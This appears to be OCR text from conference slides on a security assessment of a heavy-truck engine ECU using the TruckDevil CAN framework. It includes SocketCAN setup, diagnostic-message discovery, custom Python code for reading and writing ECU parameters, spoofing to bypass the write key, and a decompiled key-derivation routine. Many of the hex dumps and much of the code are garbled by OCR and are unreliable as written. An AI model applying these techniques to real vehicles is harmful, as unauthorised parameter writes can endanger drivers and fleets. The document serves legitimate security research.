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SECURITY ASSESSMENT ON AN ECU

® Threat model & attack surface
® Remote attack vectors

® Severity of compromise

Get connected

Discovery phase

®* Features, proprietary protocols, diagnostics...

Testing all functionality that accepts input
® Authentication/authorization on sensitive functions?
® Input validation and handling

® Logic bypass
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TESTING FRAMEWORK

® TruckDevil is an open-source testing

framework where collaborators can add

Welcome to the truckdevil framework
various kinds of modules (truckdevil)help

Documented commands (type help <topics>):

® It’s in early development

add_device help 1list_device 1list_modules run_module
github.com/LittleBlondeDevil /TruckDevil .

(truckdevil)list_modules
custom
ecu_discovery
j1939_fuzzer
read_messages
send_messages
(truukdevil)l




SET UP SOCKETCAN

$ sudo ip link show # should report can0

$ sudo ip link set canO down

$ sudo ip link set canO type can bitrate [250000 or 500000]

$ sudo ip link set canO up
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INSTALL TRUCKDEVIL

$ sudo apt install python3.10-venv

$ git clone https://github.com/LittleBlondeDevil /TruckDevil.git

$ cd TruckDevil

$ python3 —mvenv venv

$ source ./venv/bin/activate

$ python3 setup.py install
$ cd truckdevil

$ python3 truckdevil.py

s <2 1) *



https://github.com/LittleBlondeDevil/TruckDevil.git

THE TARGET ECU




THREAT MODELING

® Exploitability

® Remote attack vectors (telematics systems, ELDs, over-the-air programming)

® Mitigations (isolated network, gateway, authentication)

®* Impact of compromise

® Confidentiality, integrity, availability

s <2 1) *




TARGET ECU THREAT MODEL

®* Manufacturer’s website lists convenience features of their vehicles

® Built-in telematics devices standard on all newer vehicles

® Advanced remote diagnostics
® Over-the-air programming
® Fleet health maintenance

® TPMS reporting

s <2 1) *
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JaneDoeTrucking Is Now Available [IIIIIIININGNM@EEGEG -

(

JaneDoeTrucking Enroliment Pending I -
|

Hi Jane Doe,

Thank you for choosing I Hi Jane Doe,

We have received your enrollment request.

We are actively working on creating JaneDoeTrucking and enrolling Thank you for choosing (I
you as an administrator. An account for JaneDoeTrucking has been created and is now

You will receive an email once your company is approved and available.
activated.

Login
To login to JaneDoeTrucking click the below link and enter your
credentials.

hitps: /A

Remember to login using the same method you used 1o create your
user login. For help logging in, click this link: http://bitly/




Dashboard Vehicle Scans Mapping Reports

Data as of 1:06 PM today
Dashboard
JaneDoeTrucking - Locations

Last 24 hours

Include: At dealership At known location ith inactive fault codes No fault codes

Fault Severities Telematics ;1

Stop Now

Service Immediately

Service Soon IDLE MILES
No Actionable Faults

0 Results

out of 0

BRAKING EVENTS

Fault Indicators

Derate Condition
Maintenance Related ACCELERATING EVENTS

Safety Related
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* Live/Speed Tracking
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Accounts for: < O JaneDoeTrucking

JaneDoeTrucking - JaneDoeTrucking

Genera Users (1 Vet (0] Telematics (1) Import

faten Lists

Q Search

A Your company does not have any Company Admins assigned, or thase admins have not logged in for more than 30 days. This new role is very important to the proper administration of your account(s).
~ EigsaneDoeTrucking To assign a user to this role, please download and fill out this ment and mail it to KGN
@ JaneDoeTrucking If you need assistance, please contact us via email or call [T
Houston
2 Q se
Q Q Q Al - Al - Al -

Jane Doe janedoed953@gmail.com E 10/12/2021 0&:53 PM Custorner v

"Company Admin" roles and capabilities

" Setting up a Company Admin is important in order to access all of the
features of Self-Service such as:
s Giving a user "Programmer” access, which grants the ability to send

OTA and Programmable Parameters updates to a programmable
vehicle
Creating new location accounts anmywhere in the Company structure.
Administrative ability owver all location and watchlist accounts.
Sharing lists of vehicles with other arganizations.
Inviting Dealer Advocates to manage your organization through
sharing




I OT A Programming
Company Administrator Authorization
ustomer™) of wvehicle(s) enrolled in
signate the ind identified below as Company Administrator with author s
d to over-the-air ( ) programming of engine calibrations and programmable parameters to
—wilh access to the C r Vehicles (“OTA Programming Services”™), including
and revoke programmer a
Enable and disable Auto-Deploy engine calibration updates
* Deploy engin ration updates

Create and dep 1 e date profiles
Through the OTA Programming Services, [ will receive the

luding fast, timely updates no matter where the vehicle 1s located, greater
1 i more, as

» available for the ehicles as long as they are enrolled in

I represent that I have authority on behalf of the below C mer to make this de on and agree to the terms
of the I+ hich 1 have had the

opportunity to read and revie

Name, email and telephone number of the person who will serve as Company Administrator of the
Company Vehicles:

Name*:

Email addr

Telephone number®:

gnature on behalf of Customer
Name (printed)

Customer Name®: DOT Number:
Customer Address

Customer CIS Number:

List of Company Vehicles




TARGET ECU THREAT MODEL

® Remote attack vectors are likely, and possibly on whole fleets of vehicles

®* The impact of vulnerabilities found on the ECU could be critical, ranging from information

disclosure to vehicle takeover
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GETTING CONNECTED

® Isolate ECU on a test bench for initial discovery and testing

® Power the ECU with a power supply, and connect to data pins (e.g., CAN high/low)

® Attach to other signal pins as needed for testing various conditions (e.g., wheel speed sensor)

® Place ECU in a truck for testing node-to-node communication, gateways, and features only

enabled when vehicle is in motion (Note: dangerous! Use a simulator if possible!)

'Q‘




.
=

Type 2 (Green)

Ground

Battery

J193% + S00kb

J1939 - 500kb

J1939 Shield

J1708+ / J1939 + 250kb

J1708- / J1939 - 250kb

OEM Specific

— | T m|O|lO|l®|>

OEM Specific

SWBAT -
}——swear 1

VSS-H-
T3 —VvssiL g

GND

"}——GND

.1

L MAF
——ECM PWR OUT 1
" }—MaF GnD

EOT2

CSRE

58-Pin C2
Chassis

Fid)

16-Pin E2
Engine

58-Pin

M
1lconnector

GND
GND

GND

MIL
VREF4

“}——sSIG GND ——

RPS

£ERO
SWEBAT

L

B+
B+ -

B+

Cold Start
Relay
(CSR)

C

5E-pin C1
Chassis
-

96-Pin E1
Engine

TIMER

VREF4

ECM PWR OUT 3

}——SIGGND
" 1——ECMPWR OUT 2

J1938-L

i 1——s1039H

1—Pumpcur

——TRIMRES

45} —-o2sHL —— ——

ECM PWR OUT 1

oLT
VIRGND

}—-siceno

——AFTFT
——AFTFP1

“1——DnoCIT

. J—SIG GND

] -DOCOT -
—5IG GND

1

DPFOT

p——SIG GND

:






DISCOVERY

Address and Name

Status messages

Proprietary messages

Diagnostics




-

® Determine ECU’s address

.> python .\truckdevil.py add_device m2 can8 258088 COM5 run_module Ecu_discuveryl

Welcome to the ECU Discovery tool.
(truckdevil.ecu_discovery) active_scan
scanning. ..

scanning complete.

added 2 new ecus.
(truckdevil.ecu_discovery) passive_scan
scanning. ..

scanning complete.

added 1 new ecus.
(truckdevil.ecu_discovery) view_ecus
address: © NAME: DOODDD4005000000
address: 11 NAME: 0OO0D400bOCO%0000
address: 15 NAME: unknown
(truckdevil.ecu_discovery) I
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® Look for messages in the proprietary range

(truckdevil.ecu_discovery) ? find_proprietary

Provide the address of the ECU to discover the proprietary messages it's sending.
Performs passive and active scanning techniques.

vsage: find_proprietary <address=

(truckdevil.ecu_discovery) find_proprietary @
Scanning...
discovered 8 new unique proprietary messages.

Proprietary messages for address 8:

Bx18ff3500 B©6 FF35 60 --»> FF [8] FFFFFFOBFFFEFFFF
Bx18ff1808 06 FF18 80 --> FF [8] OOFFFFFFFFFFFFFF
Bx18ff9b00 B6 FFPB 60 --> FF [8] FFFOFOFBFEGBFEF2
Ox18efffo0 06 EFOD 00 --> FF [8] FFFFFFFFO0011980
Bx18ff5000 B©6 FF50 60 --> FF [8] FFFFFFCCFFFFFFFF
Bx18ffbBO0 B©6 FFBB 60 --> FF [8] 7F7F7F7F7F7FFFFF
Bx18ff9a0@ 06 FF9A 80 --> FF [8] 0O0OPOBOBOFBFFFF
Bx18ff3800 06 FF38 60 --> FF [8] OOOBOOFFFF94FFFF

P EEEE N



® Look for the presence of UDS for diagnostics

(truckdevil.ecu_discovery) ? find_uds

Provide the address of the ECU to determine if it responds to a UDS session.
Performs passive and active scanning technigues.

vsage: find_uds <address:

(truckdevil.ecu_discovery) find_uds @
Scanning...
ECU did not respond to any tester present requests.

T35 7210



®* Example of what the tool would find on an ECU that does offer UDS

(truckdevil.ecu_discovery) find_uds 11

Scanning. ..

Tester present responses:

Ox18daf90b 06 DAGD BB --> F9 [8] O©27EODBFFFFFFFFFF

sl AN s
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®* What is the ECU’s reboot message?

(truckdevil.ecu_discovery) ? find_boot_msg

Provide the address of the ECU to discover it's reboot message in order to detect crashes.
ECU must be reset during this test.

vsage: find_boot_msg <address:>

(truckdevil.ecu_discovery) find_boot_msg ©

please shut down the ECU, enter y when done or gq to quit: y
waiting for messages to stop transmitting...

please power on the ECU, enter y when done or q to quit: y
reboot message for ECU O:

18EEFFB8 B6 EEGB B0 --> FF [0008] 0POBOP4BO5606000

| P EEEE N
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® Are there any engineering or diagnostic tools available that interact with the ECU?2

® Often these expose functionality for reading/writing parameters and firmware

® | found several tools sold from the manufacturer that can reprogram blank modules, read

parameters, perform diagnostics, data log, etc.

®* beware sketchy free versions; these are usually old or don’t have all the features and probably contain

malware

® Just buy the < $500 product key or get one as part of the assessment

@
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'COM Link - De-Adtivate

Instrudtions Sniffer Signals
ew Instructions Panel 7|S... |Module Name Message...

29 20 27 38 25 24 23 22 21 30 18 A8 AT 1B 18 44 18 12 11 W @
seconds

7] [Name - | Abbreviation [value |units [wa...

= Check cable connections.
» Check that the correct Com Link is selected in the Tools menu.

Parameters
Diagnostic Trouble Codes : Tz — o : [JOnly Show Watched
ML [Type LA e [Count __ [module _| 1|Ip |Neme |Raw Units [Write Access [Read Access [ Program... [Undo [Watched [Customer P...

Show All Modules




® Before connecting, record a baseline so you know what messages the ECU sends on a }

regular interval

(truckdevil.read_messages)
(truckdevil.read_messages)
(truckdevil.read_messages)
(truckdevil.read_messages)
OCFOD400 83 FOB4 BO --=»
10FCE300 B4 FCE3 BO -->
18FBOT0B 86 FBBY BB --=
18FD9400 066 FD94 08 -->
10FCFDOB 84 FCFD BO -->
18FEDEGB 86 FEDB BB --=
18FEEFB8 86 FEEF B8 --=
18FBO0BF 06 FOO@ OF --=
18FE6700 86 FEGF BB -->
18FEF2088 86 FEF2 BB --=

Welcome to the Read Messages tool.

set log_to_file true

set log_name baseline.txt
set abstract_TPM true
print_messages

FF [op08]
FF [op08]
FF [0608]
FF [opeg]
FF [op08]
FF [0608]
FF [0608]
FF [opeg]
FF [op08]
FF [0608]

F87D7D80660BFE7D
FEBBOOFFFFFFFFFF
FFFFFFFFFFFFFFFF
0O0OFFFFOBOOFFFF
FFFFFFFF2964FFFF
FFFFOBFEFFFFFFFF
FEFFFFFEBO8BFFFA
517D7DFFBO7DFF7D
BOFEFFFFFFFFOOFE
OBBBBFEFFFFFEFF

> python .\truckdevil.py add_device m2 canB 258088 COM5 run_module read_messages

s
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® Then record all the traffic that occurs upon connecting with the tool

(truckdevil.read_messages) set log_name diag_connect.txt
(truckdevil.read_messages) print_measagesl

* While recording, press the “Activate COM Link” button in the diagnostic tool

® Perform a passive scan in ECU discovery to determine the diagnostic tool’s address

Welcome to the ECU Discovery tool.
(truckdevil.ecuv_discovery) passive_scan
scanning. ..

scanning complete.

added 4 new ecus.
(truckdevil.ecuv_discovery) view_ecus
address: 0 NAME: unknown

address: 11 NAME: unknown

address: 15 NAME: unknown

address: 249  NAME: unknown

T35 7210
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® Review the recorded log file for communications from OxF9

Q~ Fo--» x & | Ce W * 12133 P 4
2744 '18EFFFBB 06 EFBO 80 --> FF [08688] FFFFFFFFE8011980
2745 16FB1AB6 B4 FO1A 80 --> FF [6608] BBBOFFFFOBOBBO04
274 18FEE96B 86 FBE9 BB --> FF [B668] FFFFFFFFFFFFFFFF
2747 6CFBO466 B3 FOO4 80 --> FF [8868] F87D7D6B0BBBFO7D
2748 B8FEGEBB B2 FEGE BB --> FF [8808] FFFEFFFEFFFEFFFE
2749 '18FB090B 86 FOO9 OB --> FF [0008] FFFFFFFFFFFFFFFF
2750 18ECOBF9 06 ECO6 F9 --3 66 [6688] 130AB002FFDAFEBE

2751 BCFO0480 03 FOO4 8O --> FF [86088] F87D7D006B0OFO7D
2752 18FEB98B  B6 FBEY BB --> FF [BB68] FFFFFFFFFFFFFFFF

2753 18FFDDF9 06 FFDD F9 --3 FF [8868] 72550000FFFFFFFF
2754 18FE6FB8 84 FEGF B8 --> FF [0888] FFFFFFFFFFFFFFFF

e AnrrTCAMN AL FETC AR = rr FTAaAnAaTl FrEFrEFEEAACFEEEEFEr

| & 7 ﬁm




®* Record the same connection again, but filter out only comms between the target ECU

and the diagnostic tool

(truckdevil.read_messages) set filter_src_addr 0,249
(truckdevil.read_messages) set log_name diag_connect_filtered.txt
(truckdevil.read_messages) print_messagesl

sl AN s
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18ECEOF9
BCFBO400
L
10FE6FB0
18FF3500
18FF1800
18FEF100
18FB100
16FCE300
18FD9400
18FFDDBO
18FFDDF9
18ECF900
18ECBOF9
18EBF900
18EBF9080
18EBF900
18FFDDOO
18ECBOF9
18FFDDF9
18FFDDBG
BCFB040D
BCFB8400
BCFB8400
BCFBO400

[eB08]
[ee88]
[6888]
pees]
pees]
eeeg]
68088]
paes]
[6o08]
[eea8]
[ooeg]
[eB88]
pees]
p8e8]
pee8]
[eEB8]
[BB15]
[6B888]
[oe08]
[eeB8]
[oB08]
p888]
pee8]
pees]

e B s B | g R s W s I o R s |

e M e S i |

138AB002FFDAFERS
F8707DB68B80FB7D
6D30494E5414FFF

FFFFFFFFFFFFFFFF
FFFFFFBBFFFEFFFF
BBFFFFFFFFFFFFFF
F386FE1BFFB00OCS
FFFFFFCFFFFFFFFF
FEBBBBFFFFFFFFFF
BOBBFFFFOBBBFFFF
6D301468FFFFFFF

72580101FFFFFFF

186FBOB383DDFFOE
118301FFFFDDFFOE
§172580101600288
§230303630303038
B33BFFFFFFFFFFFF

?EEBﬂlﬂlﬂHHEBBEEEEEBEBEEEEEEEQ

1356F0003FFDDFFBO
6D31494E5414FFF

6D311408FFFFFFF

F&707D0000B0BFO7D
FE8707D00BBBOFOTD
FE87070D00BBBOFOTD
F8707D00CBBBFOTD

®* The tool sends a message with PGN OxFFDD
from the proprietary range

* Note 1: this PGN was not found in the
baseline, so it’s very likely associated with
the diagnostic session:

Q- FFDD X @& Cc W * 0 results ! :

®* Note 2: the engine stops sending all other
messages — the initial message appeared to
put the ECU into a diagnostic session and
the last message stopped the session




86 FFDD F9 --> FF [08808] 72520505FFFFFFFF
088] 1089086202DDFFBE
008] 118201FFFFDDFFBE
0008] ©172520505000288
00088] B23EALFFFFFFFFFF
00089] 725205050002883EA1
008] 13890802FFDDFFOE
0008] 725308202FFFFFFFF
088] 108BOBE262DDFFOE from the engine
18ECEBFY 06 ECE8 F9 --> 88 [0888] 118201FFFFODFFEO

[
[
[
[
[
[
[
[
[
[
18EBF966  B6 EBBO 06 --> F9 [8668] 0172530202600288
[
[
[
[
[
[
[
[
[
8

R8FFDDFS
18ECF900  B6 ECOO 08 --> F9
18ECOOF9  B6 ECOO F9 --> 00
18EBF960 86 EBGO 00 --> F9
18EBF900  B6 EBOO 00 --> F9
L8FFDDEBE 86 FFDD 86 --> FF
18ECOOF9  B6 ECOO F9 --> 08O
' LL8FFDDF9 86 FFDD F9 --> FF

18ECF900  B6 ECOO 00 --> F9

®* Then there’s a series of messages from F9
and 00 with the same OxFFDD PGN

® This message is used to read various data

Diag Tool ECU

18EBF988 06 EBBB B0 --> F9 [08088] B236869CFFFFFFFF

lLleFFDDBe 06 FFDD 60 --> FF [0011] 7253020200028836869CFF
g 18ECEOF9 06 ECEO F9 --> 60 [0608] 130BEOO2FFDDFFOE «——Respond D A + Data
 L8FFDDF9 86 FFDD F9 --> FF [0068] 72538086FFFFFFFF Read DB——>
18ECF980 06 ECE8 88 --> F9 [0BA8] 180BEAB202DDFFEN
18ECEBF9 06 ECO8 F9 --> 60 [0088] 118201FFFFODFFEO
18EBF908 B4 EBBO B8 --> F9
18EBF988 06 EBBB 86 --> F9 [0088] B20035F8C2FFFFFF
heFFoDee 06 FFDD 60 --> FF [8611] 725300080802880035F8C2

’ 18ECOBFY 6 ECOO F 088] 138BOBO2FFDDFFOE
ﬁFFﬂﬂFE ii iiii F9 > ii iiigs] 30101FFFFFFFF
r 3

Read ID A—>»

<—Respond ID B + Data

0B68] B1725360080808288




* What do we know so far?

Uses proprietary PGN OxFFDD for diagnostics
Start a diagnostic session: 6D 30 49 4E 54 14

Stop a diagnostic session: 31 49 4E 54 14 FF FF

Read data by identifier: Data Identifier
(3 bytes)




DYNAMIC TESTING

® Create test cases that challenge intended logic

Does it actually work the way you think it does?

‘-_ra i )



® Let’s create a module in the testing framework to attempt to start our own diagnostic
session with the ECU

® It’s called “custom.py”

Request:
18FFDDF9

18FFDDOB

> python .\truckdevil.py add_device m2 can@ 258008 COM5 run_module custom

(truckdevil.custom) read_by_identifier 8x5500088

Response:

Value of ID 550000: 334853444A534A5236434E353832303230

B6 FFOD F9 --> FF [B088] 72558000FFFFFFFF

B6 FFDD 88 --> FF [0824] 72550000000A14334853444A534A5236434E353832303230

=g
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iclass ECUInteraction:
' def (self, device):
self.devil = J1939Interface(device)

self.ecu_addr = B8

self.diag_addr = OxF9
self.can_id_from_ecu = Bx18FFDDBOB
self.can_id_from_diag = Bx18FFDDF9

® Create various functions for

self.diag_sess_id = 8x6D The CICﬁOﬂS YOU cdn 1'Clke
self.read id = 0x72
self.write_id = 8x77

def start_diag_sess(self):
data = "6D3B494ES414FFFF"
msg = J1939Message(self.can_id_from_diag, data)
params = {"data_contains": "6D381488"}
self.devil.send_message(msq)
self.devil.read_messages_until(**params)

def stop_diag sess(self):
data = "6D31494E5414FFFF"
msg = J1939Message(self.can_id_from_diag, data)
params = {"data_contains": "6D3114868"}
self.devil.send_message(msq)
self.devil.read_messages_until(**params)

def read_by_identifier(self, identifier: int):
self.start_diag_sess()
data = "{:02x}{:06x}FFFFFFFF".format(self.read_id, identifier)
rgst_msg = J1939Message(self.can_id_from_diag, data)
params = {"data_contains": "{:02x}{:@6x}".format(self.read_id, identifier),
"gan_id": self.can_id_from_ecu}
self.devil.send_message(rqst_msg)
rsp_msg, msgs = self.devil.read_messages_untilf{rts_response_addr=self.diag_addr, *%*params)
return rgst_msg, rsp_msg

P VaY - 42




lclass CustomCommands(cmd.Cmd):
intro = "Welcome to the Custom tool."
prompt = "(truckdevil.custom) "

SRE Gt s nara S au e/ s ® Module is called in a command loop to

super(). (@]
self.inter = ECUInteraction(device) eqsily qccep‘l’ user inpU‘I' Clnd Cldd more
def do_read_by_identifier(self, arg): funcﬁondlify Clnd test cases

i ar

example: reod_by_identifier 8x4A0404

i ar ar

argv = arg.split()
identifier = int(Cargv[0], 18)

rgst, rsp = self.inter.read_by_identifier(identifier)
print("Request: \n{}".format(rqst))
print("Response: \n{}".format(rsp))

def do_start _diaq(self, arg):
self.inter.start_diag_sess()
print("diagnostic session started.")

def do_stop_diag(self, arg):
self.inter.stop_diag_sess()
print("diagnostic session stopped.™)

/def main_mod(argv, device=None):
cli = CustomCommands(argv, device)

cli.cmdloop()




. w ‘
—____

® Other views of the tool include “parameter upgrades” and “blank module flashing”

®* How do we write data?

(truckdevil.read_messages) set filter_src_addr 0,249
(truckdevil.read_messages) set log_name write_miles_param.txt
(truckdevil.read_messages) set log_to_file true
(truckdevil.read_messages) set abstract_TPM false
(truckdevil.read_messages) print_messagesl




® Step 1 - select “flash”




- A—_—
® Step 2 — turn off ignition




W .sepN

® Step 3 —turn ignition back on

Parameter Upgrades Blank Modube

BWMENG parametin,

Please Tum Ignitian




-
COM Link-

Module




®* While reviewing the log file, look for the ECU’s reboot message

®* We know that writing occurred soon after this message

1@EABOFY 06 EABB F9 --> B0 [0803] DAFEGE

IlEEEFFHH 06 EEBB 80 --> FF [00B8] 0POBOB4005008000
BCFO0400 83 FOb4 080 --> FF [0608] F87070008086FO7D
BCFO0400 B3 FOb4 00 --> FF [0B08] F870700080B6FO7D

A NPT R A P ALY O FmReEA R . rr FTAamnmAaTl AraanaaaAaamomommrE e e
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BCFoD&p0
18FFDDF%
18FFDDEOB
1BECFFBO
18FFDDF%
1B8EBFFOO
18EBFFOO
18EBFFOO
18FEECOO
18FFDDF%
1BECF900
1BECDOF9
18EBF700
1B8EBF700
18EBF700
18FFDDBOB
1BECOOF?

FE7D7D0000OBOFBTD
6D30494E5414FFFF
6D301400FFFFFFFF
20120603FFECFEBB
72420101FFFFFFFF
B1334853444A534A
B25236434E353832
B35032302AFFFFFF

334853444A534AD256454E3538323032302A

724208101FFFFFFFF
101366030300DFFBG
110301FFFFDDFFOO
B8172420101000288
02081081344027206
B30211024123FFFF

72420101000288081013440272060211024123

13150803FFDDFFOO

* Next, a diagnostic session is started

®* Then identifier 0x420101 is requested,
which was not in the previous recording




T74A0000FF426C756549515147414F464A035
??QAEHHﬂHHHZQﬁHE
774R0101FF426C7565515051534F41495200015F%0
774A0101jp00829500015F90 parameters to the ECU, incrementing some
TT4R0202FF426C75654F4D534643434B4F00D2
T?dABEHEhBBE?&BHDE

18FFDDF9 [e018
18FFDDGB 06 FFDD 88 --> FF [0068
18FFDDF9 06 FFDD F9 --> FF [8021
18FFDDBG 06 FFDD 88 --> FF [08011
18FFDDF9 06 FFDD F9 --> FF [8019
18FFDDGB 06 FFDD 88 --> FF [0869
18FFDDF9 86 FFDD F9 --> FF [8819] 774AB303FF426C7565534A49434D444C410000
18FFDDB8 06 FFDD 08 --> FF [8869] 774A083638088297p068

]

1 * Next, the diagnostic tool writes all the
]

]

]

]

]

18FFDDF9 86 FFDD F9 --> FF [8021] 774AB404FF426C75654D4C4F4F45414C4600007530

]

]

]

]

]

]

]

count after each write

18FFDDOB 66 FFDD 88 --> FF [8011 ?Tﬁﬂﬂﬁﬂﬁhﬂﬂ??ﬂﬂﬂﬂﬂ?ﬁﬁﬂ

18FFDDF9 86 FFDD F9 --> FF [B018] 774AB505FF426C7565435251414C4D4D4900
18FFDDOB 86 FFDD 80 --> FF [ooesg ??ﬁﬂﬁﬁﬂﬁhﬂﬂ???ﬂﬂ

18FFDDF9 B6 FFDD F9 --> FF [8019] 774AB6B6FF426CT75654A4A505344474B530096
18FFDDOB 66 FFDD 08 --> FF [ee69 ??ﬁﬂﬂﬂﬁﬁhﬂﬂ??ﬂﬂﬂ?ﬁ

18FFDDF9 86 FFDD F9 --> FF [0018] 774AB787FF426C75654351424C4741424700

18FFDDEO 66 FFDD 68 --> FF [ooBg ??ﬁAH?H')‘hEEE?BHH ° Engine Serial Number flashed (|D OXSSOOOO)

|

—
18FFDDF9 66 FFDD F9 --> FF [0034] ??EBHEEﬂFHﬁ2ﬁE?5ﬁﬁﬁ9ﬁD52ﬁﬁﬁFﬁ9&?&5313235ﬁBﬁﬂ32593ﬁ31313ﬁ3ﬁ323&ﬂﬂﬂﬂﬂﬂ
18FFDDBO 66 FFDD 80 --> FF [B824] 7758000880035E313235484D325934313134363236000000

426C7565494D52444F494745313235484D0325934313134363236000000 =
BluEIHRBDIEElZEHHZYﬁllﬁﬁEd




* Attempting to write the VIN by replaying

® Write VIN from recording:

19 FODF9 86 FFDD F9 --> FF [0B34] 77550000FF426C75654950504F434C524E334853444A534A5236434E353832303230
18FFDDEB 86 FFDD 80 --> FF [8024] ??55HHHQFHH3EA33&B53ﬁﬁﬁAESﬁAEESﬁﬁSﬁESESBSESHSESH

® Write VIN with script:

(truckdevil.custom) write_by_identifier 8x550000 334853444A534A5236434E353832303230 FF 4950504F434C524E
Request:

18FFDDF% B6 FFDD F9 --> FF [08834] 77550000FF426C75654950504F434C524E334853444A534A5236434E353832303230
Response:

18FFDDOG 86 FFDD 08 --> FF [0B808] 77550000020A14FF

T35 7210

00 = success!

02 =fail ®




18FFDDF9
18FFDDOB
18FFDDF9
18FFDDAB
18FFDDF9
18FFDDBB
18FFDDF9
18FFDDOB
18FFDDF9
18FFDDAB
18FFDDF9
18FFDDBB
18FFDDF9
18FFDDOB

06
06
06
06
06
06
06
06
06
06
06
06
06
06

Fe
0o
Fe
0o
F9
0o
F9
0o
F9
0o
s
0o
F9
0o

FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

[eo18]
[eoB8]
[8B21]
[BB11]
[B019]
[e009]
[8819]
[eB09]
[BB21]
[BB11]
[oB18]
[ep08]
[B19]
[ee09]

774A0000FF426C756549515147414F464A03
774A000000029403
774A0101FF426C7565515051534F41495200015F70
774A010108029500015F%0
T74A0202FF426C75654F4D0534643434B4F00D2
774A02020002960002
T74A0303FF426C7565534A494340444C410000
774A03030002970000
T74A0404FF426C75654D4C4F4F45414C46000087530
774A040400029800007530
774A0500FF426C7569435251414C4D4D4%00
774A050500029900
T74A0606FF426C75654A4A505344474B530096
774A060600029A0096

* Why didn’t the write work?

It may be due to these 8 bytes of data that
differ between messages

:

| r.-amﬁg



* Simple replay does not work because an authentication mechanism has been

implemented to write values

Diag Tool ECU

Start diag sess—>»
Read ID 0x420101——>»

<—Return current _—

calculate key

Write ID A )
(pass data, key)
validate key
save data
increment
ACK Write ID A

Return current




® Can you trick the diagnostic tool into calculating the next key for you? }

Current count = 0x06D4

Spoof the ECU and respond to diagnostic tool with the count of our choice to get key
(truckdevil.custom) get_key
sent: 18EEFFOO 86 EE00 08 --> FF [0p08] 0000004005000080
received: 18FFDDF9 86 FFDD F9 --> FF [0008] 6D3IB494E5414FFFF
sent: 18FFDDBA 846 FFDD 88 --> FF [0A@8] 6D38140BFFFFFFFF
received: 18FFDDF9 86 FFDD F9 --> FF [PBB8] 72420101FFFFFFFF
sent: 18FFDDBO 86 FFDD 80 --> FF [B019] 7242081010086D04081013440272060211024123

received: 18FFDDF9 B6 FFDD F9 --> FF [8034] 77550880FF426C7565524F5243444D4441334853444A534A5236434E353832303230

* Replaying this Write VIN request to the ECU with the calculated key worked!
Problem: when | attempted to change one character in the VIN, it failed...
This means the calculate_key function probably also takes the data as input ii

P EEEE I




®* How is the key calculated?

-8 characters

-all upper-case letters (A-T only)

-repeats sometimes, but never for the same identifier

-appears random (no character appears significantly more often)

calculate_key(curr_count, data, ?) -> key

s <2 1) *




[ ] Only Show Watched

Write Access ad Ac : E‘.‘_ata_'hgd :uEtu_E'uer

|T
|E

I
|
|
|
|
|
|
|
|
|
|




18FFDDF9
1B8FFDDBG

06 FFDD 88 --> FF [B8B8] 77590EBE00B6D7080

(truckdevil.custom) read_by_identifier Ox590EGE

Reguest:

18FFDDF9 06 FFDD F9 --> FF [0008] 72590EBEFFFFFFFF
Response:

18FFDDEO B6 FFDD 06 --> FF [0608] 72590EBEBBO6D980

Valuve of ID 590EQE: 0O
(truckdevil.custom) write_by_identifier Ox590EBE 081

Request:

18FFDDF% 86 FFDD F9 --> FF [0818] 7759BEBEOR426C7565303030303030303001
Response:

18FFDDOO 86 FFDD 806 --> FF [0pB8] 77590EBE0BO6DADL

New value of ID 590EBE: 81
(truckdevil.custom) read_by_identifier Ox590EGE

Reguest:

18FFDDF9 06 FFDD F9 --> FF [0008] 72590EBEFFFFFFFF
Response:

18FFDDEO B6 FFDD 06 --> FF [0008] 72590EBEBBO6DAB1

Value of ID 598EQE: 01
(truckdevil.custom) I

06 FFDD F9 --> FF [06818] 7759BEBEBR426CT756530303036030368363600

* Modify “Remote Accelerator Enable
Switch” from Disabled to Enabled

® |t used a static key “3030303030303030”

* 00 in 5™ byte place instead of FF; this may
be “access type” or similar




®* Some parameters are “customer programmable” and use a static key

®* Max vehicle speed, setting brake/clutch/parking switches to be CAN-controlled or hardwired, low and
high idle engine speed, tire revolutions per mile, and many more...

® Others are protected by this key calculation

®* We need to disassemble and debug the diagnostic tool while key is calculated

s <2 1) *




* What do we know so far?

Uses proprietary PGN OxFFDD for diagnostics
Start a diagnostic session: 6D 30 49 4E 54 14

Stop a diagnostic session: 31 49 4E 54 14 FF FF

Read data by identifier: 7o | Data Identifier
(3 bytes)

Write data by identifier:

o Access
77 Data ldentifier type 42 6C 75 65

(3 bytes)

Data to write
(1...n bytes)




- e sepTN "
- -
* Reverse engineering the tool

Change the file extension from .exe to .zip p

$APPDATA

I exe
—( ico
J i z ]|:|




* Reverse engineering the tool

Open [file].zip in jd-gui to decompile

into java and export

-.zip - Java Decompiler

File Edit Navigation Search Help

E- kEﬁ s "" S | " I"

) -.Zip XY
| META-INF
| com
data
examples

| gnu/getopt
javax
| launcher
| lib
| org
| tests
~1p ErrorFrameTesting$1.class
ErrorFrameTesting.class
LICENSE.txt
= build.properties
|:, commons-logging.properties
+- [ma launcher.jar
- [E] log4j.properties
testpool.jocl
= D] theme.dtd




* Reverse engineering the tool

¢ Found what looks like the code to write a parameter in BlankEnginelmpl.java!

b e et A

} préfecté&_&}té[] getPPPassword(byte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{

return a.a(ecmSn, TOOL SN, totalTt, (byte)119, block, level, level, data);
} public ' 'Response programParameter( Parameter parameter, byte[] toolSn, byte[] totalTattleTale, byte[] ecmSN)
{

Object value;

| Engine.EnginePacket enginePacket;

try

byte[] valueAsBytes = parameter.getValueAsBytes();

value = parameter.getValue();

enginePacket = createParameterProgrammingPacket(parameter, getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(),
(byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes))j

catch (MarshalException e)

=735 71l %




* Reverse engineering the tool

The previous code calls into a.a():

public static byte[] a(byte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte firstLevel, byte lastlLevel, byte[] data)
{

return a(53159L, ecmSn, toolSn, totalTt, cmd, block, firstLevel, lastlLevel, data);
}

After a custom hashing algorithm to calculate a crc, the calculated key is returned:

private static byte[] b(long crc, byte[] toolSn)
{

byte[] password = new byte[8];
for (int j = 0; j < 2; j++)

{

for (int 1 =0; 1 < 4; i++)

{

crc = a(crc, toolSn[i]);

password[i + j * 4] = (byte)(int)(crc % 19L + 65L & OXFFL);
}
¥

return password;

}




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{
return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);
. 4

